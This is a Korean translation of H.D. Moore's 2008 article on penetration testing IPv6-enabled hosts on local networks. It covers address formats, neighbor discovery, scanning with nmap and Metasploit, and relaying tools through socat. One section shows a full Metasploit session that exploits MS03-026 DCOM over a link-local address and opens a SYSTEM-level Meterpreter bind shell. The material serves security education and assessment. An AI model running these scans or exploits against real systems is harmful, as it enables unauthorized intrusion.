Exploiting Tomorrow's Internet Today: Penetration testing with IPv6[1]

(10/2008)

by H.D. Moore
편역: vangelis

[Abstract]

이 문서는 link-local[2]과 auto-configured address가 설정되어 있는 IPv6이 가능한 시스템을 기존의 보안 툴을 이용해 어떻게 장악할 수 있는지 보여준다. 기술된 대부분의 테크닉들이 "실제" IPv6 네트워크에 적용될 수 있지만 이 글은 초점을 로컬 네트워크상의 IPv6이 가능한 시스템에 맞추고 있다.

[감사의 말]

필자는 CanSecWest 2005[3]에서 뛰어난 발표[4]를 했으며, IPv6 Attack Toolkit[5]을 발표한 THC의 Van Hauser에게 감사하고 싶다. 이 글의 배경 정보의 많은 것이 Van Hauser의 발표에 기초를 두고 있다. IPv6 Attack Toolkit에 포함되어 있는 'alive6'이란 툴은 이 글에서 기술된 모든 테크닉을 위해 중요한 첫 단계이다. 필자는 SCAPY[6]에 대한 작업과 CanSecWest 2007에서 IPv6 routing header에 대한 비전통적인 3-D 발표를 한 Philippe Biondi에게도 감사하고 싶다.

1) 도입

IP 프로토콜 버전 6에 대한 반복은 거의 10년 동안 주위를 맴돌았다. 이동 데드라인[7]이 왔다가 가버리고, 네트워킹 벤더들은 지원을 추가해왔으며, 그리고 모든 현대 운영체제들은 IPv6을 사용할 준비가 되어 있다. 문제는 IPv6를 구현할 의사를 가진 조직이 거의 없다는 것이다.

그 결과 대부분의 회사 네트워크가 IPv6 네트워킹 스택을 가지고는 있지만 IPv6을 사용하도록 의도적으로 설정하지 않고 있다. IPv6 스택은 회사 환경에서 종종 간과되는 공격에 노출되기도 한다. 예를 들어, Windows에서는 ZoneAlarm, Linux에서는 표준 IPTables와 같은 많은 방화벽 제품들이 IPv6 트래픽을 막지 않는다(IPTables는 막을 수는 있지만 대신

---

1) [역자 주] 이 편역된 글에 나오는 모든 각주는 글을 읽는 사람들의 편의를 위해 역자가 붙임 것이며, 이 글의 원문은 http://www.uninformed.org/?v=10&a=3&t=txt에서 볼 수 있고, 편역에 문제가 있으면 많은 지적을 부탁드린다.
2) 로컬 data link layer 네트워크를 위해서만 사용되는 네트워크 주소
3) http://cansecwest.com/csw05archive.html
4) http://freeworld.thc.org/papers/vh_thc-ipv6_attack.pdf
5) http://freeworld.thc.org/thc-ipv6/
6) http://www.secdev.org/projects/scapy/
7) IPv4에서 IPv6으로 이동하는 것을 의미함

Netfilter6 룰을 사용한다). 이 글의 목표는 어떻게 기존의 툴들이 IPv6이 가능한 시스템을 장악하는데 사용될 수 있는지 보여주는 것이다.

1.2) 운영체제

이 글에서 기술되는 모든 툴들은 Ubuntu Linux 8.04 시스템에서 실행된 것이다. 만약 독자가 Microsoft Windows, Mac OS X, BSD, 또는 다른 리눅스 배포판을 사용한다면 어떤 툴들은 다르게 작동하거나 전혀 작동하지 않을 수 있다.

1.3) 설정

이 글에서 모든 예들은 link-local 또는 auto-configured IPv6 주소와 함께 유효한 IPv6 스택을 가진 호스트 시스템에 의존한다. 이것은 IPv6 기능성이 커널로 컴파일되거나 커널 모듈로부터 로딩되는 것을 요구한다. 여러분들의 시스템이 특정 인터페이스를 위해 설정된 IPv6 주소를 가지고 있다면 ifconfig 명령을 사용해 확인해보아라.

```
# ifconfig eth0 | grep inet6
inet6 addr: fe80::0102:03ff:fe04:0506/64 Scope:Link
```

1.4) Addressing

IPv6 주소들은 128 비트(16 바이트)로 구성되어 있으며, 콜론으로 분리되어 있는 4개의 16진수가 하나의 그룹으로 표시된다. 두 개의 일련의 콜론("::")은 주소의 다음 부분까지 이어져 있는 bit들이 모두 0이 되어야 한다는 것을 나타낸다. 예를 들어, loopback/localhost에 대한 IP 주소는 0x01 값으로 설정된 1바이트가 따라오는 15개의 NULL 바이트로 구성되어 있다. 이 주소는 나타내면 간단히 "::1" (IPv4 127.0.0.1)이다.

어떤 IPv6 주소라도 "::0" 또는 단순히 "::" (IPv4 0.0.0.0)로 나타낼 수 있다. link-local 주소의 경우 prefix는 항상 EUI-64 포맷 MAC 주소[8]가 따라오는 "fe80::"이며, 반면 주소는 항상 "2000::"의 prefix를 가진다. "::" 시퀀시[9]는 IPv6 주소 내에서만 사용될 수 있다(그렇지 않으면 모호할 것이다). 다음 예는 "::" 시퀀시가 어떻게 사용되는지 보여준다.

```
0000:0000:0000:0000:0000:0000:0000:0000 == ::, ::0, 0::0, 0:0::0:0
0000:0000:0000:0000:0000:0000:0000:0001 == ::1, 0::1, 0:0::0:0001
fe80:0000:0000:0000:0000:0000:0000:0060 == fe80::60
fe80:0000:0000:0000:0102:0304:0506:0708 == fe80::0102:0304:0506:0708
```

---

8) http://www.vsix.net/other/guide/ipv6_address_configuration/ipv6_address_configuration.htm에 "IPv6 주소 생성 절차"라는 글을 참고하길 바란다.

9) sequence, 여기서는 콜론이 연속으로 나오는 것을 의미

1.5) Link-local vs Site-local

주어진 로컬 네트워크에서, 모든 IPv6 노드(node)는 적어도 하나의 link-local 주소(fe80::)를 가지고 있다. network adapter를 위해 IPv6의 자동 설정 동안 link-local 주소가 선택되고, IPv6 라우터 발견 요청이 모든 라우터 브로드캐스트 주소로 보내진다. 만약 어떤 IPv6이 가능한 라우터가 응답을 하면 그 노드 역시 그 인터페이스(2000::)에 대한 site-local 주소를 선택할 것이다. 그 라우터 응답은 site-local를 선택하기 위해 DHCPv6를 사용할지 아니면 EUI-64 알고리즘을 사용할지를 나타낸다. 활성화되어 있는 IPv6 라우터들이 없는 네트워크에서는 공격자는 그 라우터 찾기 요청(router discovery request)에 대해 응답을 할 수 있으며, 모든 로컬 IPv6 노드들이 site-local 주소를 설정하도록 강제할 수 있다.

2) 찾기

2.1) 스캐닝

IPv4 주소 공간과는 달리, 작동중인 시스템을 찾아내기 위해 IPv6 주소들을 연속적으로 탐색할 것 같지는 않다. 실제 배치에서 각 endpoint가 64 비트 네트워크 범위를 받는 것이 일반적이다. 그 범위 내에서 단지 하나 내지 두 개의 활성화된 노드들이 존재할 수 있지만 그 주소 공간은 전체 IPv4 Internet의 4십억 배 이상이다. 64 비트 IP 범위 내에서 연속적인 probe[10]들을 가진 활성화된 시스템들을 찾아내려고 노력하는 것은 적어도 18,446,744,073,709,551,616의 패킷이 필요할 것이다.

2.2) 관리

큰 IPv6 네트워크 범위 내의 호스트들을 관리하기 위해 DNS와 다른 네임 서비스들이 절대적으로 필요하다. 관리자들은 subnet 내에 IPv4 주소를 기억할 수 있을지 모르나 로컬 subnet 내의 64 비트 호스트 ID를 추적하는 것은 하나의 도전이다. 이 필요성 때문에 DNS, WINS, 그리고 다른 네임 서비스들은 IPv6 호스들의 주소를 관리하는데 중요하다. 이 글의 초점이 "accidental" IPv6 네트워크에 있기 때문에 우리는 호스트 관리 서비스들을 통한 IPv6 찾기를 다루지는 않을 것이다.

2.3) Neighbor Discovery

---

10) 통신에서, 프로브는 메시지의 전달 가능성 타진 등, 네트웤의 상태에 관하여 무엇인가를 알아내기 위한 목적으로 이루어지는 행동, 또는 사용되는 객체를 가리킨다. 이러한 예로는, 메시지의 도착지가 실제로 존재하는지를 알기 위해, 단순히 내용이 없는 메시지를 보내는 것을 들 수 있다. 핑이 프로브를 보내는데 사용되는 보편적인 유틸리티이다. 프로브는 또한 하드웨어 장치에 의해 삽입된 것, 또는 감시 목적이나 네트웤 활동에 관한 데이터 수집을 목적으로 네트웤 내의 주요 접속점에 있는 소프트웨어 프로그램일 수 있다.(terms.co.kr에서 발췌)

IPv4 ARP 프로토콜은 IPv6에서는 없어졌다. 대신 ICMPv6 Neighbor Discovery(ND)와 ICMPv6 Neighbor Solicitation(NS) 프로토콜로 대신 구성하게 되었다. Neighbor Discovery는 IPv6 호스트가 로컬 네트워크 상의 모든 다른 IPv6 시스템들의 link-local 및 auto-configured 주소들을 찾도록 해준다.

Neighbor Solicitation는 주어진 IPv6 주소가 로컬 subnet에 존재하는지 확인하는데 사용된다. link-local 주소는 EUI-64 알고리즘에 의해 생성된 주소를 선택함으로써 유일한 per-host, per-link이기를 보장받는다. 이 알고리즘은 유일한 IPv6 주소를 생성하기 위해 network adapter MAC address를 사용한다.

예를 들어, 01:02:03:04:05:06라는 하드웨어 MAC을 가진 시스템은 fe80::0102:03FF:FE04:0506라는 link-local 주소를 사용한다. 8바이트의 prefix는 MAC의 첫 3바이트를 취하고, FF:FE를 붙이며, 그런 다음 MAC의 다음 3 바이트를 취하여 생성된다. link-local 주소에 덧붙여 IPv6은 또한 stateless auto-configuration[11]을 지원한다. stateless auto-configured 주소들은 "2000::" prefix를 사용한다. Neighbor Discovery에 대한 추가 정보는 RFC 2461을 참고해라.

2.4) IPv6 Attack Toolkit

Neighbor Discovery 프로토콜을 사용하는 로컬 호스트들을 확인하기 위해 우리는 ICMPv6 probe를 보내고 응답에 listen할 수 있는 툴이 필요하다. Van Hauser의 IPv6 Attack Toolkit에 포함되어 있는 alive6 프로그램이 그런 작업을 할 수 있는 툴이다. 아래의 예는 eth0 인터페이스상의 네트워크에 소속되어있는 IPv6 호스트들을 찾아내기 위해 alive6을 어떻게 사용하는가를 보여준다.

```
# alive6 eth0
Alive: fe80:0000:0000:0000:xxxx:xxff:fexx:xxxx
Alive: fe80:0000:0000:0000:yyyy:yyff:feyy:yyyy
Found 2 systems alive
```

2.5) Linux Neighbor Discovery 툴들

'ping6'와 함께 연결된 'ip' 명령(둘다 최근 리눅스 배포판에 포함되어 있음)은 역시 로컬 IPv6 노드 찾기를 수행하는데 사용될 수 있다. 다음 명령은 이 방법을 보여준다.

```
# ping6 -c 3 -I eth0 ff02::1 >/dev/null 2>&1
# ip neigh | grep ^fe80
```

---

11) 별도의 주소 관리 시스템 없이, 단말이 스스로 자신이 이용할 IPv6 주소를 생성하는 방식

```
fe80::211:43ff:fexx:xxxx dev eth0 lladdr 00:11:43:xx:xx:xx REACHABLE
fe80::21e:c9ff:fexx:xxxx dev eth0 lladdr 00:1e:c9:xx:xx:xx REACHABLE
fe80::218:8bff:fexx:xxxx dev eth0 lladdr 00:18:8b:xx:xx:xx REACHABLE
[...]
```

2.6) Local Broadcast Addresse

IPv6 Neighbor Discovery는 주어진 타입의 모든 로컬 노드에 도달하기 위해 한 세트의 특별한 브로드캐스트 주소들에 의존한다. 아래 테이블은 이 주소들 중에서 가장 유용한 것을 열거한다.

```
- FF01::1 = This address reaches all node-local IPv6 nodes
- FF02::1 = This address reaches all link-local IPv6 nodes
- FF05::1 = This address reaches all site-local IPv6 nodes
- FF01::2 = This address reaches all node-local IPv6 routers
- FF02::2 = This address reaches all link-local IPv6 routers
- FF05::2 = This address reaches all site-local IPv6 routers
```

2.7) IPv4 vs IPv6 Broadcast

IPv4 프로토콜은 네트워크 브로드캐스트 주소로 갈 패킷이 인터넷을 통해 라우팅되는 것을 허용했다. 이것이 몇 가지 합법적인 용도를 가졌지만 이 기능은 트래픽 증폭 공격(traffic amplification attack)에 의해 몇 년간 남용되었는데, 이것은 그 응답으로 희생자의 대역폭을 포화시키기 위해 희생자로부터 브로드캐스트 주소에 질의를 스푸핑했다. 몇몇 IPv4 서비스들이 브로드캐스트 주소들과 작동하기 위해 고안되었지만 이것은 예외이며, 규범은 아니다. IPv6의 도입과 더불어 브로드캐스트 주소들은 로컬 네트워크의 외부로 더 이상 라우팅되지 않는다. 이것은 트래픽 증폭 공격을 줄여주지만 역시 원격 네트워크로 Neighbor Discovery probe를 보내는 것을 막기도 한다.

IPv4와 IPv6 사이의 주요 차이점들 중의 하나는 "어떤" 주소(0.0.0.0 / ::0) 상에서 listen하고 있는 네트워크 서비스들이 어떻게 브로드캐스트 주소로 갈 incoming request들을 다루는가이다. 이것의 좋은 예가 BIND DNS 서버이다. IPv4를 사용하고, 0.0.0.0를 listen하고 있을 때, 네트워크 브로드캐스트 주소로 보내진 DNS 요청은 그냥 무시된다. IPv6을 사용하고 ::0을 listen하고 있을 때, link-local의 모든 노드 브로드캐스트 주소(FF02::1)에 보내진 DNS 요청은 처리된다. 이것은 로컬 공격자가 하나의 패킷으로 로컬 네트워크 상의 모든 BIND 서버들에 메시지를 보내는 것을 허용한다. 같은 테크닉이 IPv6이 가능한 인터페이스의 ::0 주소에 연결되어 있는 다른 어떤 UDP 기반의 서비스를 위해 작동할 것이다.

```
$ dig metasploit.com @FF02::1
;; ANSWER SECTION:
metasploit.com. 3600 IN A 216.75.15.231
;; SERVER: fe80::xxxx:xxxx:xxxx:xxxx%2#53(ff02::1)
```

3) 서비스들

3.1) Nmap 사용하기

Nmap 포트 스캐너는 IPv6 타깃에 대해 지원하지만 nmap은 네트워크 라이브러리들을 사용해 이 타깃을 스캔할 수 있으며, raw IPv6 패킷을 보낼 능력은 가지고 있지 않다. 이것은 TCP 포트 스캔을 "connect()"에 국한시키고, 이것은 효율적이지만 방화벽이 설치된 호스들에 대해서는 느리며, 전체 TCP 연결이 각 오픈 포트를 확인하는 것을 요구한다. 이런 제한사항에도 불구하고 nmap은 여전히 IPv6 포트 스캐닝에 대한 선택 툴이다. nmap의 구 버전들은 인터페이스 suffix의 필요조건 때문에 link-local 주소들을 스캐닝 하는 것을 지원하지 않았다. link-local 주소를 스캐닝하려고 하면 다음 에러가 발생한다.

```
# nmap -6 fe80::xxxx:xxxx:xxxx:xxxx
Starting Nmap 4.53 ( http://insecure.org ) at 2008-08-23 14:48 CDT
Strange error from connect (22):Invalid argument
```

문제는 link-local 주소가 특정 인터페이스에 따라 다르다는 것이다. fe80::xxxx:xxxx:xxxx:xxxx의 호스트에 말하기 위해 우리는 어떤 인터페이스에 있는지 역시 지정해야 한다. 리눅스 플랫폼 상에서 이것을 하는 방법은 그 주소에 인터페이스 이름 앞에 "%"를 붙이는 것이다. 이런 경우에, 우리는 "fe80::xxxx:xxxx:xxxx:xxxx%eth0"를 지정한다. 최신 버전의 Nmap(4.68)은 이제 인터페이스 suffix를 지원하며 link-local IPv6 주소를 스캐닝하는 문제를 가지고 있지는 않다. site-local 주소는 scope ID suffix를 요구하지 않으며, 이것은 공격자의 입장으로부터 site-local 주소들이 약간 더 쉽게 사용하도록 한다(reverse connect 코드는 scope ID, 바로 그 주소를 알 필요는 없다.).

```
# nmap -6 fe80::xxxx:xxxx:xxxx:xxxx%eth0
Starting Nmap 4.68 ( http://nmap.org ) at 2008-08-27 13:57 CDT
PORT STATE SERVICE
22/tcp open ssh
```

3.2) Metasploit 사용하기

Metasploit Framework의 개발 버전은 간단한 TCP 포트 스캐너를 포함하고 있다. 이 모듈은

RHOSTS 파라미터와 start 및 stop 포트를 통해 호스트들의 목록을 받아들인다. Metasploit Framework는 인터페이스 suffix를 포함하여 IPv6 주소들에 대해 전체적으로 지원한다. 다음 예는 인터페이스 eth0을 통해 연결된 타깃 fe80::xxxx:xxxx:xxxx:xxxx 상에 포트 1~10,000까지를 스캐닝한다. 이 타깃은 Vista Home Premium의 기본 설치버전이다.

```
# msfconsole
msf> use auxiliary/discovery/portscan/tcp
msf auxiliary(tcp) > set RHOSTS fe80::xxxx:xxxx:xxxx:xxxx%eth0
msf auxiliary(tcp) > set PORTSTART 1
msf auxiliary(tcp) > set PORTSTOP 10000
msf auxiliary(tcp) > run
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:135
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:445
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1025
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1026
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1027
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1028
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1029
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1040
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:3389
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:5357
[*] Auxiliary module execution completed
```

TCP 포트 스캐닝에 덧붙여 Metasploit Framework는 역시 UDP 서비스 탐지 모듈을 포함하고 있다. 이 모듈은 일련의 UDP probe들을 RHOSTS에 의해 정의된 모든 호스트에 보내며, 받은 어떤 응답을 출력한다. 이 모듈은 브로드캐스트를 포함해 어떤 IPv6 주소와 함께 작동한다. 예를 들어, 아래 세션은 ::0에서 listen하고 있는 로컬 DNS 서비스를 발견하는 것을 나타내며, link-local의 모든 브로드캐스트 주소에 대한 요청에 응답한다.

```
# msfconsole
msf> use auxiliary/scanner/discovery/sweep_udp
msf auxiliary(sweep_udp) > set RHOSTS ff02::1
msf auxiliary(sweep_udp) > run
[*] Sending 7 probes to ff02:0000:0000:0000:0000:0000:0000:0001 (1 hosts)
[*] Discovered DNS on fe80::xxxx:xxxx:xxxx:xxxx%eth0
[*] Auxiliary module execution completed
```

4) Exploit들

4.1) IPv6이 가능한 서비스들

IPv6가 가능한 시스템에 대한 penetration test를 수행할 때 첫 번째 단계는 어떤 서비스들이 IPv6 상으로 접근 가능한지 결정하는 것이다. 이전 섹션에서 우리는 이것을 하는데 이용 가능한 툴들 중의 몇 가지를 기술했으나 같은 머신의 IPv4와 IPv6 인터페이스 사이에 차이점을 다루지는 않았다. 아래 nmap 결과들을 살펴보면 첫 번째 세트는 Windows 2003 시스템에서 IPv6 인터페이스를 스캐닝하는 것으로부터 나온 것이고, 두 번째는 같은 시스템의 IPv4 주소를 스캐닝한 결과이다.

```
# nmap -6 -p1-10000 -n fe80::24c:44ff:fe4f:1a44%eth0
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
554/tcp open rtsp
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1030/tcp open iad1
1032/tcp open iad3
1034/tcp open unknown
1035/tcp open unknown
1036/tcp open unknown
1755/tcp open wms
9464/tcp open unknown

# nmap -sS -p1-10000 -n 192.168.0.147
25/tcp open smtp
42/tcp open nameserver
53/tcp open domain
80/tcp open http
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
554/tcp open rtsp
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1030/tcp open iad1
1032/tcp open iad3
1034/tcp open unknown
1035/tcp open unknown
1036/tcp open unknown
1755/tcp open wms
3389/tcp open ms-term-serv
```

```
9464/tcp open unknown
```

IIS에 의해 제공된 서비스들 중에서 단지 웹 서버와 스트리밍 미디어 서비스들만이 IPv6이 가능한 것으로 보인다. SMTP, POP3, WINS, NetBIOS, 그리고 RDP 서비스들은 IPv6 주소를 스캐닝한 것으로부터 모두 빠져있다. 이것이 IPv6 인터페이스 상에서 공격 표면을 제한하지만 나머지 서비스들은 여전히 노출이라는 면에서 중요하다.

SMB 포트(445)는 DCERPC를 통해 파일 공유와 원격 API 호출을 허용한다. 모든 TCP DCERPC 서비스들은 이 시스템 상에서 DCERPC 어플리케이션들의 목록을 우리에게 제공하는 endpoint mapper를 포함해 여전히 이용 가능하다. 웹 서버(II 6.0)는 이 시스템에 호스팅되는 어떤 어플리케이션과 더불어 접근가능하다. 스트리밍 미디어 서비스들 RTP(554)와 MMS(1755)는 스트리밍 컨텐츠와 관리 인터페이스에 접근을 제공한다.

4.2) IPv6와 웹 브라우저들

대부분의 현대 웹 브라우저들은 URL bar 내에 IPv6 주소들에 대한 지원을 하는 반면, 복잡한 부분이 있다. 예를 들어, 위의 Windows 2003 시스템과 더불어 포트 80번이 열려 있는 것을 볼 수 있다. 브라우저로 이 웹 서버로 접근하기 위해 우리는 다음 URL을 사용한다.

```
http://[fe80::24c:44ff:fe4f:1a44%eth0]/
```

불운하게도, Firebox와 Konqueror는 이 URL을 처리할 수 있는 반면 Internet Explorer(6과 7)는 할 수 없다. 이것이 link-local 주소이기 때문에 DNS는 충분하지 않은데, local scope ID는 URL에서 인식되지 않기 때문이다. Firefox 3와 Konqueror 사이의 흥미로운 차이점은 IPv6 주소와 scope ID를 지정할 때 Host header가 어떻게 만들어지는가이다. Firefox 3에게서 local scope ID를 포함하여 전체 주소는 HTTP Host header에서 보내진다. 이것은 IIS 6.0은 브라우저에 "invalid hostname" 에러를 리턴하도록 한다. 하지만, Konqueror는 Host header로부터 로컬 scope ID를 벗겨낼 것이고, 이것은 IIS가 Firefox가 보인 에러 메시지를 던지는 것을 막는다.

4.3) IPv6와 Web 평가(assessment)

IPv6이 가능한 시스템에 접근하는 도전들 중의 하나는 기존의 보안 툴들이 IPv6 주소 포맷(특히 local scope ID)과 작동하도록 하는 것이다. 예를 들어, Nikto 웹 스캐너는 웹 점검을 위한 뛰어난 툴이지만 IPv6에 대한 직접적인 지원을 하지는 않는다. 우리가 IPv6 주소를 위해 /etc/hosts에 엔트리를 추가할 수 있는 반면 우리는 스캔하여 이것을 Nikto에 전달하고, Nikto는 scope ID suffix를 처리할 수 없다. 이것과 많은 다른 툴 호환성 문제들에 대한 솔루션은 TCPv6 프록시 서비스에 TCPv4를 사용하는 것이다. 여태까지 그 작업을 위한 가장

쉬운 툴은 Socat이며, 이것은 대부분의 리눅스와 BSD 배포판에 하나의 패키지로 이용가능하다. link-local IPv6 주소 상에 원격 포트 80번에 로컬 포트 8080번을 릴레이하기 위해 위는 다음과 같은 명령을 사용한다.

```
$ socat TCP-LISTEN:8080,reuseaddr,fork TCP6:[fe80::24c:44ff:fe4f:1a44%eth0]:80
```

일단 Socat가 실행되면 우리는 127.0.0.1 상에서 8080번 포트에 대해 Nikto와 많은 다른 툴들을 실행할 수 있다.

```
$ ./nikto.pl -host 127.0.0.1 -port 8080
- Nikto v2.03/2.04
---------------------------------------------------------------------------+
Target IP: 127.0.0.1
+ Target Hostname: localhost
+ Target Port: 8080
+ Start Time: 2008-10-01 12:57:18
---------------------------------------------------------------------------+
Server: Microsoft-IIS/6.0
```

이 포트 포워딩 테크닉은 많은 다른 툴들과 프로토콜들에 대해 작동하며, 선택할 툴이 IPv6을 원래 지원하지 않을 때 큰 대체물이 될 수 있다.

4.4) IPv6 서비스 공격하기

Metasploit Framework는 local scope ID를 포함해서 IPv6 소켓을 원래부터 지원한다. 이것은 거의 모든 exploit과 보조 모듈들이 아무런 수정 없이 IPv6 호스트들에 대해 사용될 수 있도록 허용한다. 웹 어플리케이션 exploit의 경우 VHOST 파라미터는 위에서 언급된 것과 같은 문제를 피하면서 그 모듈에 의해 보내진 Host header를 뒤엎기(override) 위해 사용될 수 있다.

4.5) IPv6가 가능한 쉘코드

모든 공격 활동을 IPv6 프로토콜에 국한시키기 위해 exploit은 IPv6에 대한 지원이 필요할 뿐만 아니라 payload도 역시 지원이 필요하다. IPv6 payload 지원은 "stager" 사용을 통해 Metasploit에서 이용가능하다. 이 stager들은 Metasploit Framework와 함께 포함된 일반적인 Windows payload들 중의 어떤 것을 chain-load하는데 사용될 수 있다. 다시 한 번 더 link-local 주소들은 이 과정을 약간 더 복잡하게 만든다. 타깃 머신에서 listen하고 있는 포트를 열기 위해 bind_ipv6_tcp stager를 사용할 때, RHOST 파라미터는 local scope ID가 추

가되도록 해야 한다. 같은 토큰에 의해 reverse_ipv6_tcp stager는 LHOST 변수가 원격 머신의 인터페이스 넘버를 scope ID로 추가되도록 해야 하는 것을 요구한다. 이것은 트릭이 필요할 수 있는데, 공격자는 주어진 link-local 주소가 어떤 인터페이스 넘버와 교신할지 좀처럼 알지 못하기 때문이다. 이런 이유 때문에 bind_ipv6_tcp stager는 link-local 주소들로 Windows 머신으로 공격하는데 궁극적으로 더 유용하다. 아래의 예는 Meterpreter stage로 bind_ipv6_tcp stager를 사용하는 것을 보여준다. 이 경우의 exploit은 MS03-036 (Blaster)이고, 135번 포트 상으로 DCERPC endpoint mapper 서비스 상으로 전달된다.

```
msf> use windows/exploit/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set RHOST fe80::24c:44ff:fe4f:1a44%eth0
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_ipv6_tcp
msf exploit(ms03_026_dcom) > set LPORT 4444
msf exploit(ms03_026_dcom) > exploit
[*] Started bind handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[...]
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[...][135]
[*] Sending exploit ...
[*] The DCERPC service did not reply to our request
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73227 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened
msf exploit(ms03_026_dcom) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

5) 요약

5.1) 주요 개념들

비록 대부분의 네트워크들이 "IPv6"이 준비가 안되어 있음에도 불구하고, 그 네트워크상의 많은 머신들은 "IPv6"이 준비가 되어 있다. 새로운 프로토콜 스택에 대한 도입은 보안 평가 중 종종 간과되거나 잘 알려지지 않은 보안 문제와 만나게 된다. IPv6의 거대한 주소 범위는 원격지에 있는 IPv6 머신들을 찾아내는 것을 어렵게 하지만 로컬 네트워크 발견은 all-node 브로드캐스트 주소들을 이용하면 여전히 가능하다. Link-local 주소는 특정 네트워크 링크에 연결되어 있으며, 그것들이 거주하는 네트워크 링크상에서는 유일한 것이 보장된다. link-local 주소를 이용해 IPv6 node와 소통하기 위해 사용자는 그 링크에 대한 local scope ID(인터페이스)를 알아야 한다.

원격 어플리케이션이 link-local 주소 상으로 사용자와 다시 연결하기 위해 소켓 코드가 그 정확한 인터페이스의 local scope ID를 지정해야만 한다. IPv6의 어떤 주소(::0)를 listen하고 있는 UDP 서비스들은 all-node broadcast 주소(FF02::1)에 보내진 클라이언트의 요청에 응답할 것이며, 이것은 IPv4와 다른 것이다. IPv6 브로드캐스트 트래픽은 라우팅이 가능하지 않으며, 이것은 많은 공격을 로컬 네트워크에만 국한시킨다. 리눅스 배포판들과 BSD, 그리고 Windows가 기본적으로 IPv6을 가능하게 해두었지만 모든 어플리케이션이 IPv6 인터페이스에 listen을 지원하는 것은 아니다. 소프트웨어 방화벽들은 모든 IPv5 트래픽을 막도록 설정되어 있을 때조차도 IPv6 트래픽을 종종 허용한다.

Immunity CANVAS, Metasploit Framework, Nmap Security Scanner, 그리고 많은 다른 보안 툴들은 이제 IPv6 타깃을 지원한다. xinetd 또는 socat과 같은 소켓 릴레이 툴을 이용해 IPv6 호스트에 대해 IPv4를 위해 만들어진 툴을 이용하는 것이 가능하다.

5.2) 결론

비록 IPv6 백본 인프라구조를 만드는 것이 지속적으로 성장하고 있고, IPv6를 지원하는 클라이언트 시스템과 디바이스들이 점차 늘어나고 있지만 고객의 사이트와 그 백본 사이의 라우팅을 제공하는 ISP는 거의 없다. 이 틈새가 닫혀있을 때까지 IPv6 주소에 대한 보안 점검은 로컬 네트워크에만 국한될 것이다. 대부분의 조직들이 IPv6에 대해 인식이 부족할 경우 공격자가 네트워크 통제를 우회하고 많은 보인 모니터링 툴들이 인식하지 못하게 하는 쉬운 방법을 제공할 수 있다. 결국, 아래 메시지에 직면했을 때 관리자는 무엇을 할 것인가?

```
Last login: Sat Oct 1 11:32:45 2008 from fe80::214:4fff:fe4a:3a30%eth0
```

참고문헌

Exploit

- THC IPv6 Attack Toolkit - http://freeworld.thc.org/thc-ipv6/
- The Metasploit Framework - http://metasploit.com
- Immunity CANVAS - http://www.immunitysec.com/

툴

- ncat - svn co svn://svn.insecure.org/ncat (login: guest/guest)
- socat - http://www.dest-unreach.org/socat/
- scapy - http://www.secdev.org/projects/scapy/
- nmap - http://nmap.org/
- nikto - http://www.cirt.net/nikto2

문서

- RFC 2461 - http://www.ietf.org/rfc/rfc2461.txt
- Official IPv6 Site - http://www.ipv6.org/

어플리케이션 호환성

- http://www.deepspace6.net/docs/ipv6statuspageapps.htm l
- http://www.stindustries.net/IPv6/tools.htm l
- http://www.ipv6.org/v6-apps.htm l
- http://applications.6pack.org/browse/support/